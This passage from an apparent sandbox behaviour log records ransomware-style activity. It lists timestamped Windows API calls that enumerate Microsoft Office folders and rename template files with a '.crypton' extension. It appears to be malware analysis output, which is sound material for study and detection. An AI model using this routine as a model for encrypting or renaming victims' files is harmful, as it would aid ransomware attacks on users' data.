lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css.crypton"), dwFlags=0x2) returned 1 [0095.008] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css.crypton"), dwFlags=0x2) returned 1 [0095.075] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css.crypton"), dwFlags=0x2) returned 1 [0095.140] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css.crypton"), dwFlags=0x2) returned 1 [0095.213] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css.crypton"), dwFlags=0x2) returned 1 [0095.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css.crypton"), dwFlags=0x2) returned 1 [0095.346] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css.crypton"), dwFlags=0x2) returned 1 [0095.353] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb630ff80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb630ff80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0095.364] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif.crypton"), dwFlags=0x2) returned 1 [0095.371] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR11F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir11f.gif.crypton"), dwFlags=0x2) returned 1 [0095.383] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR12F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir12f.gif.crypton"), dwFlags=0x2) returned 1 [0095.395] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR13F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir13f.gif.crypton"), dwFlags=0x2) returned 1 [0095.411] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif.crypton"), dwFlags=0x2) returned 1 [0095.419] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR15F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir15f.gif.crypton"), dwFlags=0x2) returned 1 [0095.430] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR16F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir16f.gif.crypton"), dwFlags=0x2) returned 1 [0095.443] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR17F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir17f.gif.crypton"), dwFlags=0x2) returned 1 [0095.455] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR18F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir18f.gif.crypton"), dwFlags=0x2) returned 1 [0095.460] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR19F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir19f.gif.crypton"), dwFlags=0x2) returned 1 [0095.466] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif.crypton"), dwFlags=0x2) returned 1 [0095.471] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1f.gif.crypton"), dwFlags=0x2) returned 1 [0095.481] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR20F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir20f.gif.crypton"), dwFlags=0x2) returned 1 [0095.490] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR21F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir21f.gif.crypton"), dwFlags=0x2) returned 1 [0095.497] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR22F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir22f.gif.crypton"), dwFlags=0x2) returned 1 [0095.509] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR23F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir23f.gif.crypton"), dwFlags=0x2) returned 1 [0095.515] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR24F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir24f.gif.crypton"), dwFlags=0x2) returned 1 [0095.532] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR25F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir25f.gif.crypton"), dwFlags=0x2) returned 1 [0095.539] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR26F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir26f.gif.crypton"), dwFlags=0x2) returned 1 [0095.547] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR27F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir27f.gif.crypton"), dwFlags=0x2) returned 1 [0095.550] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28b.gif.crypton"), dwFlags=0x2) returned 1 [0095.557] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR28F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir28f.gif.crypton"), dwFlags=0x2) returned 1 [0095.562] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif.crypton"), dwFlags=0x2) returned 1 [0095.584] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif.crypton"), dwFlags=0x2) returned 1 [0095.625] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif.crypton"), dwFlags=0x2) returned 1 [0095.630] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif.crypton"), dwFlags=0x2) returned 1 [0095.644] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif.crypton"), dwFlags=0x2) returned 1 [0095.660] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif.crypton"), dwFlags=0x2) returned 1 [0095.665] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif.crypton"), dwFlags=0x2) returned 1 [0095.783] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif.crypton"), dwFlags=0x2) returned 1 [0095.791] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif.crypton"), dwFlags=0x2) returned 1 [0095.820] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif.crypton"), dwFlags=0x2) returned 1 [0095.828] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif.crypton"), dwFlags=0x2) returned 1 [0095.837] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif.crypton"), dwFlags=0x2) returned 1 [0095.848] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif.crypton"), dwFlags=0x2) returned 1 [0095.871] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif.crypton"), dwFlags=0x2) returned 1 [0095.878] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif.crypton"), dwFlags=0x2) returned 1 [0095.886] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif.crypton"), dwFlags=0x2) returned 1 [0095.899] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif.crypton"), dwFlags=0x2) returned 1 [0095.921] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif.crypton"), dwFlags=0x2) returned 1 [0095.953] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif.crypton"), dwFlags=0x2) returned 1 [0095.982] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif.crypton"), dwFlags=0x2) returned 1 [0096.009] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif.crypton"), dwFlags=0x2) returned 1 [0096.020] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif.crypton"), dwFlags=0x2) returned 1 [0096.034] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif.crypton"), dwFlags=0x2) returned 1 [0096.072] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif.crypton"), dwFlags=0x2) returned 1 [0096.092] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif.crypton"), dwFlags=0x2) returned 1 [0096.124] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif.crypton"), dwFlags=0x2) returned 1 [0096.129] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif.crypton"), dwFlags=0x2) returned 1 [0096.133] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif.crypton"), dwFlags=0x2) returned 1 [0096.143] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif.crypton"), dwFlags=0x2) returned 1 [0096.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif.crypton"), dwFlags=0x2) returned 1 [0096.160] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft 